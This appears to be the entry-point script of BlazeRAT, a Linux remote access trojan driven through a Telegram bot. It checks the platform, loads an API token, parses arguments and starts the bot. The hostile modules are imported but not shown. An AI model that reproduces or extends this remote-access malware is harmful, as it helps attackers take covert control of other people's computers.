main.py 768 B

1234567891011121314151617181920212223242526272829303132333435
  1. #!/usr/bin/python3
  2. # -*- coding: utf-8 -*-
  3. # Author : LimerBoy
  4. # github.com/LimerBoy/BlazeRAT
  5. # Check python version and platform
  6. from sys import version_info, platform, exit
  7. assert 3 <= version_info.major, "[!] Python >3.8 required to run script!"
  8. assert platform[:3] != "win", "[!] Script created only for Linux systems!"
  9. # Import modules
  10. from config import token
  11. import core.telegram as TelegramBot
  12. import core.cli as CommandLineInterface
  13. """
  14. Author : LimerBoy
  15. github.com/LimerBoy/BlazeRAT
  16. Notes :
  17. Main file.
  18. """
  19. # Parse args
  20. print(CommandLineInterface.banner)
  21. CommandLineInterface.ParseArgs()
  22. # Check if token exists
  23. if not token:
  24. exit("[!] Telegram API token not initialized")
  25. # Start telegram bot
  26. if __name__ == "__main__":
  27. TelegramBot.Run()